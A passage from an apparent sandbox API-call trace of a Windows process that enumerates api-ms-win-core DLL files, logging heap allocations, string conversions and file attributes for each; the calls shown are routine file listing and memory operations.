lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0140.436] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.436] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.436] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.436] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.436] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.436] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.436] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.436] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0140.436] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x226c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0140.436] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.436] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.436] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.436] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.436] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.436] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.436] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.436] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.437] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0140.437] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.437] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x226c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0140.437] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.437] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.437] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.437] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.437] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.437] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.437] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.437] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.437] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0140.437] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.437] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x226c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0140.437] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.437] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.437] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.437] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.437] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.437] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.437] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.437] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.437] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0140.437] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.437] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x226c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0140.437] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.437] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.437] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.437] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.437] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.437] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0140.437] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.437] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.437] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0140.437] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.437] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x226c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0140.437] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.438] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.438] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.438] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.438] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.438] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.438] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.438] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.438] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0140.438] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.438] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x226c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0140.438] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.438] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.438] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.438] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.438] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.438] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.438] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.438] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.438] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0140.438] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.438] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x226c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0140.438] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.438] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.438] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.438] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.438] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.438] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.438] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.438] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.438] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0140.438] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.438] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x226c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0140.438] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.438] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.438] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.438] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.438] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.438] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.439] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.439] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0140.439] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x226c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0140.439] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.439] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.439] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.439] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.439] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.439] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.439] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.439] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0140.439] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x226c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0140.439] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.439] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.439] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.439] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.439] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.439] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.439] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.439] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0140.439] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x226c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0140.439] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.439] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.439] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.439] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.439] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.439] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0140.439] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.439] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0140.439] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x226c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0140.440] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.440] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.440] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.440] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.440] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.440] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.440] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.440] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0140.440] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, 